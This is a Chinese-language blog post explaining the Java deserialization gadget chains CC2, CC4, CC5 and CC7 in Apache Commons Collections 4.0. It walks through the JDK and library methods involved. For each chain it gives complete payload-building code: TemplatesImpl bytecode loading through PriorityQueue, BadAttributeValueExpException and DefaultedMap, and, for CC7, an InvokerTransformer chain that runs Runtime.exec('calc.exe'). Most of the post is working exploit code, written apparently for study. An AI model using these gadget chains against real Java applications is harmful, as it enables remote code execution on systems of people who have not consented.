CommonsCollections

CommonsCollections

版权申明:本文为原创文章,转载请注明原文出处

原文链接:http://example.com/post/4ffaad45.html

CommonsCollections

CC2+CC4+CC5+CC7

CC2

添加版本依赖

1
2
3
4
5
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

链的后半部分保持不变

1
2
3
4
5
6
7
8
9
10
ChainedTransformer.transform()
----->
InvokerTransformer.transform()
----->
TemplatesImpl.newTransformer()
----->
TemplatesImpl.getTransletInstance()
----->
TemplatesImpl.defineTransletClasses()(_class[i] = loader.defineClass(_bytecodes[i]);)
_class[_transletIndex].newInstance()

因此主要是找执行newTransformer的方法,而commons-collections4中存在类TransformingComparator(支持可序列化),该类的compare方法调用了Transformertransform方法

transformer 对象负责将输入的对象转换为某种中间形式。比如,如果你有一组复杂的对象,而你只关心其中的某个字段,你可以用 transformer 提取这个字段。

decorated 对象负责对转换后的中间形式进行比较。它通常是一个比较器(Comparator),定义了比较的逻辑。

1
2
3
4
5
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}

因此只需要构造的时候传递this.transformerChainedTransformer对象

接着就是找反序列化时调用compare函数的对象,此处选择的是PriorityQueue对象(可序列化),该类的readObject对象调用了heapify方法,heapify方法中调用了siftDown方法,siftDown方法调用了siftDownUsingComparator方法,siftDownUsingComparator方法中调用了compare方法,并且此处的comparator可控

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
构造代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
TemplatesImpl templates = new TemplatesImpl();
byte[] code= Files.readAllBytes(Paths.get("D:\\java workforse\\java_deserialization\\Hello.class"));
byte[] code2= Files.readAllBytes(Paths.get("D:\\java workforse\\java_deserialization\\Test.class"));
Class<TemplatesImpl> clazz = TemplatesImpl.class;
Field field = clazz.getDeclaredField("_bytecodes");
field.setAccessible(true);
// bytecodes的长度设置为2
field.set(templates, new byte[][]{code, code2});
field= clazz.getDeclaredField("_name");
field.setAccessible(true);
field.set(templates, "123");
field= clazz.getDeclaredField("_tfactory");
field.setAccessible(true);
field.set(templates, new TransformerFactoryImpl());
field= clazz.getDeclaredField("_transletIndex");
field.setAccessible(true);
field.set(templates, 0);
Transformer[] transforms = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transforms);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer,new ComparableComparator<>());
PriorityQueue priorityQueue = new PriorityQueue<>(2,transformingComparator);
Class clazzPriorityQueue = PriorityQueue.class;
Field fieldsize = clazzPriorityQueue.getDeclaredField("size");
fieldsize.setAccessible(true);
fieldsize.set(priorityQueue,2);
serialize(priorityQueue);
unserialize("data.bin");
CC4

将上面执行代码的方式(InvokerTransformer)改成InstantiateTransformer类的transform方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
        TemplatesImpl templates = new TemplatesImpl();
byte[] code= Files.readAllBytes(Paths.get("D:\\java workforse\\java_deserialization\\Hello.class"));
byte[] code2= Files.readAllBytes(Paths.get("D:\\java workforse\\java_deserialization\\Test.class"));
Class<TemplatesImpl> clazz = TemplatesImpl.class;
Field field = clazz.getDeclaredField("_bytecodes");
field.setAccessible(true);
// bytecodes的长度设置为2
field.set(templates, new byte[][]{code, code2});
field= clazz.getDeclaredField("_name");
field.setAccessible(true);
field.set(templates, "123");
field= clazz.getDeclaredField("_tfactory");
field.setAccessible(true);
field.set(templates, new TransformerFactoryImpl());
field= clazz.getDeclaredField("_transletIndex");
field.setAccessible(true);
field.set(templates, 0);
// templates.newTransformer();
Transformer[] transforms = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transforms);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer,new ComparableComparator<>());
PriorityQueue priorityQueue = new PriorityQueue<>(2,transformingComparator);
Class clazzPriorityQueue = PriorityQueue.class;
Field fieldsize = clazzPriorityQueue.getDeclaredField("size");
fieldsize.setAccessible(true);
fieldsize.set(priorityQueue,2);
serialize(priorityQueue);
unserialize("data.bin");
CC5

链子后半部分不变,仍然是找执行LazyMapget方法的类,在collections4中,TiedMapEntrygetValue方法调用了其get方法,同时其toString方法调用了getValue方法,由此形成闭环

1
2
3
4
5
6
7
8
9
/**
* Gets a string version of the entry.
*
* @return entry as a string
*/
@Override
public String toString() {
return getKey() + "=" + getValue();
}

因此主要寻找某类,该类的readObject方法调用toString,并且可控制,此处选择的是BadAttributeValueExpException类,该类的readObject方法中的第三个条件片段中执行了toString方法

如果 valObjnull,则将 val 设为 null

如果 valObjString 类型,直接将 valObj 赋值给 val

  • 如果系统没有安全管理器(即 System.getSecurityManager() == null),或者 valObj 是以下类型之一:LongIntegerFloatDoubleByteShortBoolean

则将 valObj 转换为字符串并赋值给 val

image-20240613110449942

由此构造代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
        TemplatesImpl templates = new TemplatesImpl();
byte[] code= Files.readAllBytes(Paths.get("D:\\java workforse\\java_deserialization\\Hello.class"));
byte[] code2= Files.readAllBytes(Paths.get("D:\\java workforse\\java_deserialization\\Test.class"));
Class<TemplatesImpl> clazz = TemplatesImpl.class;
Field field = clazz.getDeclaredField("_bytecodes");
field.setAccessible(true);
// bytecodes的长度设置为2
field.set(templates, new byte[][]{code, code2});
field= clazz.getDeclaredField("_name");
field.setAccessible(true);
field.set(templates, "123");
field= clazz.getDeclaredField("_tfactory");
field.setAccessible(true);
field.set(templates, new TransformerFactoryImpl());
field= clazz.getDeclaredField("_transletIndex");
field.setAccessible(true);
field.set(templates, 0);
// templates.newTransformer();
Transformer[] transforms = new Transformer[]{
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transforms);
Map map = new HashMap();
LazyMap lazyMap = LazyMap.lazyMap(map,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,TrAXFilter.class);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Class clazz1 = BadAttributeValueExpException.class;
Field val = clazz1.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,tiedMapEntry);
serialize(badAttributeValueExpException);
unserialize("data.bin");

此处的LazyMap可以用DefaultedMap所替代

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
        TemplatesImpl templates = new TemplatesImpl();
byte[] code= Files.readAllBytes(Paths.get("D:\\java workforse\\java_deserialization\\Hello.class"));
byte[] code2= Files.readAllBytes(Paths.get("D:\\java workforse\\java_deserialization\\Test.class"));
Class<TemplatesImpl> clazz = TemplatesImpl.class;
Field field = clazz.getDeclaredField("_bytecodes");
field.setAccessible(true);
// bytecodes的长度设置为2
field.set(templates, new byte[][]{code, code2});
field= clazz.getDeclaredField("_name");
field.setAccessible(true);
field.set(templates, "123");
field= clazz.getDeclaredField("_tfactory");
field.setAccessible(true);
field.set(templates, new TransformerFactoryImpl());
field= clazz.getDeclaredField("_transletIndex");
field.setAccessible(true);
field.set(templates, 0);
// templates.newTransformer();
Transformer[] transforms = new Transformer[]{
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transforms);
Map map = new HashMap();
DefaultedMap defaultedMap = (DefaultedMap) DefaultedMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(defaultedMap, TrAXFilter.class);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field val = BadAttributeValueExpException.class.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException, tiedMapEntry);
serialize(badAttributeValueExpException);
unserialize("data.bin");
CC7

这条链是用AbstractMap抽象类的equals函数执行DefaultedMap类的get方法

image-20240613163939854

由于AbstractMap是抽象类,因此不能直接实例化,要寻找它的继承子类,并且没有equals函数,就会执行Abstractequals方法,这里选择的是可序列化的HashMap类,因此问题变成了寻找readObject函数,该函数应该能执行equals方法

这里选择HashTable类,该类的readObject方法调用了reconstitutionPut方法,这里的elementsHashTable键值对的数量

image-20240613164226953

reconstitutionPut方法中调用了equals函数,并且原理应该是先传进的键调用equals方法,以后传进的键作为参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}

因此先传进的应是HashMap对象,后传进的是DefaultedMap对象,相当于调用AbstractMapequals方法,以构造的DefaultedMap对象作为参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Transformer[] transforms = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
HashMap<Object,Object> map = new HashMap<>();
DefaultedMap defaultedMap = (DefaultedMap) DefaultedMap.decorate(new HashMap<>(), chainedTransformer);
map.put("key1", "value1");
defaultedMap.put("key2", "value2");
Hashtable<Object, Object> objectObjectHashtable = new Hashtable<>();
objectObjectHashtable.put(map, 1);
objectObjectHashtable.put(defaultedMap, 2);
Class clazz3 = chainedTransformer.getClass();
Field field1 = clazz3.getDeclaredField("iTransformers");
field1.setAccessible(true);
field1.set(chainedTransformer, transforms);
serialize(objectObjectHashtable);
Author

yyyyyyxnp

Posted on

2024-06-12

Updated on

2024-09-29

Licensed under

You need to set install_url to use ShareThis. Please set it in _config.yml.
You forgot to set the business or currency_code for Paypal. Please set it in _config.yml.

Comments

You forgot to set the shortname for Disqus. Please set it in _config.yml.